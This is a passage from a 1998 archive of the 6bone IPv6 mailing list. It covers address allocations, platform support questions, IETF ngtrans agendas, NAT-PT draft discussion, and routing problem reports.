the cti0 interface has an access to a 'virtual' link, this link MUST
have it's own prefix. e.g.:

3ffe:4321:0:1234::5678/128

Reference: INRIA's IPv6 stack for FreeBSD, documents

Don't be worry! Every beginning is hard. Nice to discuss with you.

Chen Maoke
---------------------------------
TH-CERNET
Tsinghua University
Beijing, PRC
e-mail: danny@public.bjnet.edu.cn
        cmk@6bone.net.edu.cn
---------------------------------

From 6bone-owner  Fri Jul 31 12:20:59 1998
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Date: Fri, 31 Jul 1998 12:20:53 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: new pTLA for NTT-SOFTWARE-LAB (3FFE:1800::/24)
Cc: Bill Manning <bmanning@ISI.EDU>
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I'm pleased to announce that NTT-SOFTWARE-LAB has been assigned pTLA 3FFE:1800::/24 after open review by the 6bone community.


Thanks,

Bob

From 6bone-owner  Mon Aug  3 11:54:24 1998
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Date: Mon, 3 Aug 1998 19:52:34 +0100
To: 6bone@ISI.EDU
From: James East <jeast@breathe.co.uk>
Subject: IPv6 support on Solaris
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Dear members,

I have only just joined this list after finding out about IPv6 (which I
am very interested in), so please forgive any "faux pas". :)

I wondered if anyone could tell me what was happening with regard to the
support of IPv6 on Sun's Solaris platform, and also, how to get an IPv6
client for Win95. I searched the FTP software site, but could not find
anything useful.

Thanks in advance.
-- 
James East

From 6bone-owner  Tue Aug  4 00:16:33 1998
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Date: Tue, 04 Aug 1998 09:20:25 +0200
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
Organization: CMG Advanced Technologies Rotterdam
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Dear people,

I'm researching IPng, and read various documents, rfc's and white
papers. Today I found something that confused me. The pages from sun's
playground,
http://playground.sun.com/pub/ipng/html/INET-IPng-Paper.html#CH7
indicated that the prefix for Provider-Based Unicast Address is 010 and
100 is reserved for Neutral-Interconnect-Based Unicast Addresses.

However in the internet-draft draft-ietf-ipngwg-addr-arch-v2-05.txt
these two are not in the reservation specs, although it is a more
current document.

Are the two mentioned prefixes discarded in the new specs ? And if so,
what's the reason behind this decision ?

Thanks for all your Help,

Mike Crawfurd.

Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Tue Aug  4 01:23:57 1998
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Date: Tue, 04 Aug 1998 10:23:34 +0200
To: James East <jeast@breathe.co.uk>
From: Peter Bieringer <list4peter@et92.unibw-muenchen.de>
Subject: Re: IPv6 support on Solaris
Cc: 6bone@ISI.EDU
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At 19:52 03.08.98 +0100, James East wrote:
>Dear members,
>
>I have only just joined this list after finding out about IPv6 (which I
>am very interested in), so please forgive any "faux pas". :)
>
>I wondered if anyone could tell me what was happening with regard to the
>support of IPv6 on Sun's Solaris platform
Take a look at 
http://playground.sun.com/pub/ipng/html/ipng-implementations.2.html#Solaris
or
http://playground.sun.com/pub/solaris2-ipv6/html/solaris2-ipv6.html

>, and also, how to get an IPv6
>client for Win95. I searched the FTP software site, but could not find
>anything useful.
AIK, no topical software for Win95 is available (the FTP-Software client is
out of date because it doesn't support AGU-addresses) :-(.
Perhaps, the working driver for WinNT from MS can be ported anytime from MS
to Win95/98. It's also possible that they are working on it but do not
publish anything about it (it was long not known that MS was developing a
NT-driver...).

Peter


From 6bone-owner  Tue Aug  4 06:18:48 1998
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To: Mike Crawfurd <mike.crawfurd@cmg.nl>
cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: Question about IPng addressing 
In-reply-to: Your message of "Tue, 04 Aug 1998 09:20:25 -0400."
             <35C6B639.4DD7A28F@cmg.nl> 
Date: Tue, 04 Aug 1998 09:18:33 -0400
From: Thomas Narten <narten@raleigh.ibm.com>
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> I'm researching IPng, and read various documents, rfc's and white
> papers. Today I found something that confused me. The pages from sun's
> playground,
> http://playground.sun.com/pub/ipng/html/INET-IPng-Paper.html#CH7
> indicated that the prefix for Provider-Based Unicast Address is 010 and
> 100 is reserved for Neutral-Interconnect-Based Unicast Addresses.

> However in the internet-draft draft-ietf-ipngwg-addr-arch-v2-05.txt
> these two are not in the reservation specs, although it is a more
> current document.

In the case of 100 (Geographic-Based Unicast Addresses according to
rfc 1884), there was no concrete proposal on how these prefixes would
actually be used, and in the absense of a concrete proposal, the bits
were simply changed to the "reserved" category. Also, I believe the
ideas behind this prefix are not incompatable with the generic unicast
aggregation prefix (001), so it is not clear that a separate prefix
needed to be reserved.  This could of course be changed in the future
if necessary.

In the case of the provider-based prefix 010, it has changed (in a
sense) to 001 (Aggregatable Global Unicast Addresses). The provider
based schemes are compatable with the definitions of the new
prefix. In a sense the 001 prefix is a superset of the other prefixes,
hence they are no longer needed.

Thomas

From 6bone-owner  Tue Aug  4 06:34:54 1998
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For Solaris, 2.5, check out
http://playground.sun.com/pub/solaris2-ipv6/html/solaris2-ipv6.html

I haven't heard anything for Windows 95, but I believe that NT 5 has an IPV6
stack.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Mon, 3 Aug 1998, James East wrote:

->Dear members,
->
->I have only just joined this list after finding out about IPv6 (which I
->am very interested in), so please forgive any "faux pas". :)
->
->I wondered if anyone could tell me what was happening with regard to the
->support of IPv6 on Sun's Solaris platform, and also, how to get an IPv6
->client for Win95. I searched the FTP software site, but could not find
->anything useful.
->
->Thanks in advance.
->-- 
->James East
->


From 6bone-owner  Tue Aug  4 14:51:35 1998
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To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com, aatn@alpha.zk3.dec.com
From: Bob Fink <rlfink@lbl.gov>
Subject: ngtrans agenda - 4Aug98 version
Cc: ops-chairs@ietf.org, Tony Hain <tonyhain@microsoft.com>,
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6bone/ngtrans folk (and AATN as well)

The following is my current take on the ngtrans agenda (including the 6bone and aatn stuff) for Chicago.  

I've agreed to host a few topics for the AATN folk to help out Jim Bound as they do relate to transition (last two topics on the agenda).

I will forward the final agenda early next week to the secretariat, so please come forward now with offers of new topics, or to speak or help with anything shown below.


Thanks,

Bob

=======================================
NGTRANS AGENDA

TUESDAY, August 25, 1998

1300-1400 Afternoon Sessions I 
	OPS ngtrans Next Generation Transition WG
1415-1515 Afternoon Sessions II
	OPS ngtrans Next Generation Transition WG

---
ngtrans intro and agenda bashing -Bob Fink -5 mins

Changes in ngtrans charter - Bob Fink - 10 mins

"IPv6 Transitions Mechanisms" draft for advancement to replace RFC 1933 - 10 mins
<draft-ietf-ngtrans-mech-00.txt>

Status of IPv6 address registry issues with RIPE/ARIN/APNIC - Bob Hinden - 5 mins

6bone status report - Bob Fink - 5 mins

6bone backbone routing - ???? - 5-10 mins

When/if do we change from a 'test' AUP to a production 'AUP' - Bob Fink - 10 mins

"6bone Routing Practices" draft for advancement to Info RFC - Bertrand Buclin -10 mins
<draft-ietf-ngtrans-6bone-routing-01.txt>

draft-tsuchiya-ipv4-ipv6-translator-00.txt - Kazuaki Tsuchiya - 5 mins

new ASpath-tree tool features - Ivano Guardini - 10 mins

Negotiated Address Reuse - Gabriel Montenegro - 20 mins
<draft-montenegro-aatn-nar-00.txt>

Distributed Network Address Translation - Michael Borella - 20 mins
<draft-borella-aatn-dnat-00.txt>

-end ngtrans agenda

===========================
PS: the IPng meetings are:

TUESDAY, August 25, 1998

1545-1645 Afternoon Sessions III 
	INT ipngwg IPNG WG
1700-1800 Afternoon Sessions IV 
	INT ipngwg IPNG WG

THURSDAY, August 27, 1998

0900-1130 Morning Sessions
	INT ipngwg IPNG WG

-end



From 6bone-owner  Tue Aug  4 15:37:34 1998
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Date: Tue, 30 Jun 1998 19:07:27 -0400
From: Quool <Quool@escape.com>
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--------------DAD600B1FD34A2B8DC34C17C
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Hey everyone,
    I am currently working on a research project based mainly on the
security of IPv6.  Anyone have any tips, ideas, concepts, or just
anything relating to the subject!
    Researching how secure the IPv6 protocol is, compared to IPv4, and
what will the effects of its transition be on the Internet, (ie: packet
sniffing, tcp attacks, compatabilities, vulnerabilities).

                Comments are appreciated,
                                                            Thanx in
advance...

QuooL




--
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_____________________________________________________
                    |        Knowledge Without Wisdom / Wisdom Without
Knowledge       |
                     |                                 Dangerous /
Frustrating  - Unknown                 |
                      |                                            Free
Kevin                                          |
                       |__________"Summa Sedes Capit Non Duos"_-M.O.D.
_______|


--------------DAD600B1FD34A2B8DC34C17C
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<HTML>
Hey everyone,
<BR>&nbsp;&nbsp;&nbsp; I am currently working on a research project based
mainly on the security of IPv6.&nbsp; Anyone have any tips, ideas, concepts,
or just anything relating to the subject!
<BR>&nbsp;&nbsp;&nbsp; Researching how secure the IPv6 protocol is, compared
to IPv4, and what will the effects of its transition be on the Internet,
(ie: packet sniffing, tcp attacks, compatabilities, vulnerabilities).

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Comments are appreciated,
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Thanx in advance...
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
QuooL
<BR>&nbsp;
<BR>&nbsp;
<BR>&nbsp;

<P>--
<BR>ICQ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
UIN #7432177
<BR>E-Mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
QuooL@Escape.Com
<BR>IRC:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
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(Available Upon Request and Verification)
<BR>PGP Sig./Fingerprint:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
{Not yet set}
<BR>AOL Instant Messenger:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Default
IP
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
_____________________________________________________
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Knowledge Without Wisdom /
Wisdom Without Knowledge&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Dangerous / Frustrating&nbsp; - Unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<A HREF="http://www.KevinMitnick.com">Free Kevin</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|__________"Summa Sedes Capit Non Duos"_-M.O.D. _______|
<BR>&nbsp;</HTML>

--------------DAD600B1FD34A2B8DC34C17C--


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Date: Wed, 05 Aug 1998 09:13:57 +0200
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
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To: Quool@escape.com, "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Security - Encryption, Authenticity, Trust, anything!
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Dear 'Quool', 

The following documents may come in handy for you:

rfc1825.txt          Security Architecture for the Internet Protocol
rfc1826.txt          IP Authentication Header  
rfc1827.txt          IP Encapsulating Security Payload (ESP) 
rfc1828.txt          IP Authentication using Keyed MD5
rfc1829.txt          The ESP DES-CBC Transform

The following url contains maybe some information of what you seek:
http://www.fys.ruu.nl/~vginkel/

Maybe the Association for Computing Machinery (ACM.ORG) can help you
more on security or a mailinglist from the IPsec group.

When your research is done, could you send me a copy of your thesis or
document ? I'm also interested in security, but since my research
consists of the difference between IPv4 and IPv6, security is only an
aspect.

I hope it helps,

Mike Crawfurd.

Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Thu Aug  6 05:50:31 1998
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Date: Thu, 06 Aug 1998 05:50:23 -0700
To: George Tsirtsis <george@gideon.bt.co.uk>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) NAT-PTv02 update
Cc: Pyda Srisuresh <suresh@livingston.com>, ngtrans@sunroof.eng.sun.com,
        6bone@ISI.EDU
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George,

At 11:36 AM 8/6/98 +0000, George Tsirtsis wrote:
>Dear all,
>
>Here you can find v02 of the NAT-PT draft that was just submited to the
>IETF.
>
>The updated version includes the following changes:
>- Various editorial
>- Addition of Applicability Statement (section 7)
>- Removal of colocated DNS/NAT-PT section 4.2.1
>- 4.2.1 is now "DNS Application Layer Gateway (ALG) support"
>- Addition of section 6.5 "DNS Translation and DNSSEC"
>
>The authors (Pyda Srishuresh and myself) have not yet requested a slot in
>the ngtrans meeting. We could, however,  give a 5min update if people (and
>the chairs) think will help. Comments/discussion on the mailing list are
>always welcome.
>
>Could the chairs also let me know what the process is in order to get this
>draft moving?

I will add this to the agenda for Chicago and we can discuss then what may be possible to move it forward.

I would also like to get comments going on the mail list now in preparation.

Comments from the last meeting were:

>
>Several issues were raised in the discussion that followed:
>
>- Tony Hain pointed out that the document needs to discuss
>applicability of this technique (what types of sites could use
>it, what types should not), and also needs to discuss scaling
>issues.
>
>- Brian Carpenter suggested that the group needs to consider how
>this technique would combine with the various other transition
>techniques, and API issues it raises.
>
>- Concern was raised about the translation of DNS queries and
>replies. It was not clear whether this could be made to work
>with signed DNS queries/replies.


Regards,

Bob

From 6bone-owner  Thu Aug  6 06:36:03 1998
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> >- Brian Carpenter suggested that the group needs to consider how
> >this technique would combine with the various other transition
> >techniques, and API issues it raises.

I did, and I'm still worried about that, but I think it's oustide
the scope of this particular document. It is more a question of
how applications layer code can be written in such a way that it
doesn't care whether it's running over IPv4 with or without traditional
NAPT, IPv6, either half of a dual stack, or a v4/v6 translator. 

   Brian

From 6bone-owner  Thu Aug  6 09:44:50 1998
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I suspect we agree on the immediate issue: this topic is outside
the scope of NAT-PT. 

  Brian

Pyda Srisuresh wrote:
> 
> >
> > > >- Brian Carpenter suggested that the group needs to consider how
> > > >this technique would combine with the various other transition
> > > >techniques, and API issues it raises.
> >
> > I did, and I'm still worried about that, but I think it's oustide
> > the scope of this particular document. It is more a question of
> > how applications layer code can be written in such a way that it
> > doesn't care whether it's running over IPv4 with or without traditional
> > NAPT, IPv6, either half of a dual stack, or a v4/v6 translator.
> >
> >    Brian
> >
> 
> I am not sure, I understand what you are saying.
> 
> NAT-PT does not have any issues with the API on V4-only or V6-only
> end nodes. As for dual stack nodes, once again, the API doesnt
> change because of NAT-PT enroute. However, I do agree, an
> application using the dual-stack API could (a) opt to go with the
> appropriate native protocol (V4 or v6) or, (b) opt to go with
> using a single stack if assured of NAT-PT services en-route,
> no matter who it is trying to connect to.
> 
> The API issues are outside the scope of this document.
> 
> cheers,
> suresh

From 6bone-owner  Sat Aug 15 09:41:02 1998
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Subject: With great sorrow
To: 6bone@ISI.EDU, raj@cisco.com
Date: Sat, 15 Aug 1998 09:32:31 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning, ; DIV7)
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I must remove our 6bone core node from service until I get a problem
resolved with the BGP code.  

The effect is that a directly connected IPv4 network shows this behaviour:  

BGP: no valid path for 198.32.64.0/24
BGP: nettable_walker 198.32.64.0/255.255.255.0 no best path selected
... neighbors marking the route transition ...
BGP: 198.32.146.18 send UPDATE 198.32.64.0/24 -- unreachable
BGP: nettable_walker 198.32.64.0/255.255.255.0 route sourced locally
... neighbors marking the route transition ...

This behaviour occurs every 40sec or so and all known attempts to 
stablize it while keeping the ipv6 code base intact have proven vain.

network 3FFE:800::0/48 and its downstreams will be offline for the
duration.

I am sorry. I am looking for other platforms to run the code on but it
will be a few days.


--bill

From 6bone-owner  Sun Aug 16 12:21:52 1998
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To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: draft-ietf-ngtrans-header-trans-02.txt progression
Cc: Erik Nordmark <Erik.Nordmark@eng.Sun.COM>,
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ngtrans folk,

Erik Nordmark and I feel that the most effective track for the header translation draft is Experimental RFC.

I also propose this for other less production ready standards as well to get them moving along.

Please ruminate on this either to me or the list.


While on the subject of the various drafts, I don't think combining any of them makes any sense unless the specific proposing authors of two or more of them agree to do so, and submit them to ngtrans ready to go in that form.


Thanks,

Bob

From 6bone-owner  Sun Aug 16 12:27:59 1998
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Date: Sun, 16 Aug 1998 12:27:50 -0700
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com, aatn@alpha.zk3.dec.com
From: Bob Fink <rlfink@lbl.gov>
Subject: final ngtrans agenda for Chicago IETF 
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ngtrans/6bone folk (and AATN as well),

The following is my final (to the secretariat) ngtrans agenda (including the 6bone and aatn stuff) for Chicago. 

If I've missed something, please let me know by private email or at the meeting, and I will correct.


Thanks,
Bob

=======================================
NGTRANS AGENDA

TUESDAY, August 25, 1998

1300-1400 Afternoon Sessions I 
	OPS ngtrans Next Generation Transition WG
1415-1515 Afternoon Sessions II
	OPS ngtrans Next Generation Transition WG

---
ngtrans intro, agenda, charter and handling drafts -Bob Fink - 10 mins

"IPv6 Transitions Mechanisms" for advancement to replace RFC 1933 - 10 mins
<draft-ietf-ngtrans-mech-01.txt>

"Stateless IP/ICMP Translator (SIIT)", changes and next step - Erik Nordmark - 10 mins
<draft-ietf-ngtrans-header-trans-02.txt>

"Network Address Translation-Protocol Translation (NAT-PT)", changes and next step - George Tsirtsis - 10 mins
<draft-ietf-ngtrans-natpt-02.txt>

"6bone Routing Practices" for advancement to Info RFC - Bertrand Buclin - 10 mins
<draft-ietf-ngtrans-6bone-routing-01.txt>

draft-tsuchiya-ipv4-ipv6-translator-00.txt - Kazuaki Tsuchiya - 5 mins

6bone status report - Bob Fink - 10 mins

vBNS current 6bone plans - Greg Miller -5 mins

new ASpath-tree tool features - Ivano Guardini - 10 mins

Negotiated Address Reuse - Gabriel Montenegro - 20 mins
<draft-montenegro-aatn-nar-00.txt>

Distributed Network Address Translation - Michael Borella - 20 mins
<draft-borella-aatn-dnat-00.txt>

-end ngtrans agenda

===========================
PS: the IPng meetings are:

TUESDAY, August 25, 1998

1545-1645 Afternoon Sessions III 
	INT ipngwg IPNG WG
1700-1800 Afternoon Sessions IV 
	INT ipngwg IPNG WG

THURSDAY, August 27, 1998

0900-1130 Morning Sessions
	INT ipngwg IPNG WG

-end


From 6bone-owner  Mon Aug 17 01:00:04 1998
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From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Subject: Re: draft-ietf-ngtrans-header-trans-02.txt progression
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At 12:21 16.08.98 -0700, Bob Fink wrote:
>ngtrans folk,
>
>Erik Nordmark and I feel that the most effective track for the header
translation draft is Experimental RFC.
>
>I also propose this for other less production ready standards as well to
get them moving along.
>
>Please ruminate on this either to me or the list.
>
Ruminations coming right along.......

there are really 2 kinds of transition strategies:

- Those that can be deployed locally, and the "outer world" sees nothing
  except IPv4 networking and/or IPv6 networking. I think most of the
  NAT-based drafts are like this.
- Those that need some piece of global deployment in order to be effective.
  Dual-stack with AAAA/A record choosing and automatic-tunnel drafts
  require some of this, I think.

For the first kind, having multiple competing proposals is really
a Good Thing. Each organization needing to test something can take its
pick, try it out, and see if it works. It's likely that we will end up
with a small number of proposals that work, but have different scaling
and/or deployment characteristics.
Experimental publication should be encouraged, with standards track
processing once it's proven that it works; merging of drafts isn't
important as long as solutions are clearly intended for distinct parts
of the problem space.

For the second kind, we need to be much more careful; global mistakes
are *very* expensive to recover from - even if we don't factor in the
loss of prestige of the IETF.
Here again experimental publication is a Good Thing, but one needs
much more care in describing how one tells an experiment from a production
network (the IPv6 Testing Address Allocation was one such marker, to pull
in an example from another context), and the eventual target is to have
a sharply limited number of strategies (ideally zero or one) that need
to go standards-track and deployed on the Internet.
After all, we only have one Internet to deploy global-scope solutions on.

My preliminary conclusion: Yes, Experimental publication is a Good Thing.
Drafts need to identify clearly their scope of visibility, and their
scaling properties; once they've done that, and the authors are pretty
sure it works - SHIP IT.

                     Harald A



 
Harald Tveit Alvestrand
IETF Area Director, Operations and Management


From 6bone-owner  Mon Aug 17 12:33:32 1998
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Hi,
	this is to announce the availability of a whois server
(whois.viagenie.qc.ca) which is a mirror of the 6bone registry.  It is
synchronized "real-time" with the 6bone registry at isi. 

	You can access it by:   

	whois -h whois.viagenie.qc.ca SEARCHWORD

Have fun,

Regards, Marc. 

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Mon Aug 17 16:47:26 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'alain.durand@imag.fr'" <alain.durand@imag.fr>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: routing loop
Date: Mon, 17 Aug 1998 16:46:45 -0700
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I'm seeing a routing loop inside the 3ffe:300::/24 pTLA... Today is the
first time I've tried to access this site, so I don't know if this is a
transient condition.

Thanks,
Rich

C:\NT\system32>tracert6 -d 3ffe:302:12:3::3

Tracing route to 3ffe:302:12:3::3
over a maximum of 30 hops:

  1    10 ms     *      <10 ms  3ffe:a00:2:1:200:cff:fe1a:c8a8
  2    70 ms    70 ms     *     3ffe:900:0:8:0:c8e:50c2:e
  3   340 ms     *      240 ms  5f04:fb00:80b0::1:2:1
  4   530 ms   450 ms   520 ms  3ffe:302:11:2:0:2:0:61
  5   390 ms     *        *     3ffe:302:11:1::8
  6   690 ms  1241 ms  1301 ms  3ffe:302:11:2:0:2:0:61
  7  1001 ms     *      941 ms  3ffe:302:11:1::8
  8   580 ms   640 ms   560 ms  3ffe:302:11:2:0:2:0:61
  9     *        *      420 ms  3ffe:302:11:1::8
 10   550 ms     *        *     3ffe:302:11:2:0:2:0:61
 11   470 ms     *      440 ms  3ffe:302:11:1::8
 12   400 ms     *        *     3ffe:302:11:2:0:2:0:61
 13   400 ms     *        *     3ffe:302:11:1::8
...


From 6bone-owner  Thu Aug 20 15:30:43 1998
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From: "M. Fabian Foote" <Fabian_Foote-P13721@email.mot.com>
Organization: Motorola SSTG
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To: 6bone@ISI.EDU, "M. Fabian Foote" <mffoote@network-consulting.net>
Subject: IPv6 Transitioning for future LEO IP Based Systems?
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I'm interested in transition, and trend information for IP Risk analysis
based upon the following:

        1) Transition of Ipv4 backbone to 6bone archictecture, time
frame.
        2) IPv4 and IPv6 interaction(dual stack and translator) and
interworking and API implementations.
        3) Trends for IPv4 to Ipv6 routing and name resolution by 2000
and beyond time frame.

I've assumed that over time as confidence builds to vendor routers  will
carry
native IPv6 packets, as it is expected that the 6BONE would disappear by

agreement of all parties.  But by when?  It would be replaced in a
transparent way by
production ISP and user network IPv6 Internet-wide transport.

Respectully,
--
M. Fabian Foote, Motorola SSTG / Advanced Systems Division
Senior Staff Engineer
e-mail: Fabian_Foote-p13721@email.mot.com



From 6bone-owner  Sun Aug 23 12:18:53 1998
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From 6bone-owner  Sun Aug 23 23:30:48 1998
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To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: finding an AUS TLA for 6bone
Date: Mon, 24 Aug 1998 16:30:33 +1100
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second try.  maybe this will work.

Trying to find a TLA that is best for Australian usage.  If one is not 
available, how could I establish one for the Australian region.

Peter



From 6bone-owner  Mon Aug 24 07:45:46 1998
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Date: Mon, 24 Aug 1998 07:45:39 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: pTLA request
Cc: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
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 >
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6bone folk,

Below is the pTLA request from the BME-FSZ folk at the Technical University of Budapest in Hungary.

	http://www.isi.edu/cgi-bin/davidk/whois.pl?bme-fsz


Please send your comments on this to the list. If approved, I would like to assign the pTLA by 8 Sep.


Thanks,

Bob

=====================================
At 11:34 AM 8/24/98 +0200, you wrote:
>
>Dear Bob,
>
>I'm writing on behalf of our IPv6 team at the Department of Control
>Engineering and Information Technology at the Technical University of
>Budapest (BME-FSZ). We would like to apply for the assignment of a pTLA to
>us.
>
>Our department is active in computer networks research and education. As a
>part of this research, we have been working with IPv6 for nearly two
>years. We are taking part in several academic projects on next generation
>internetworking. 
>
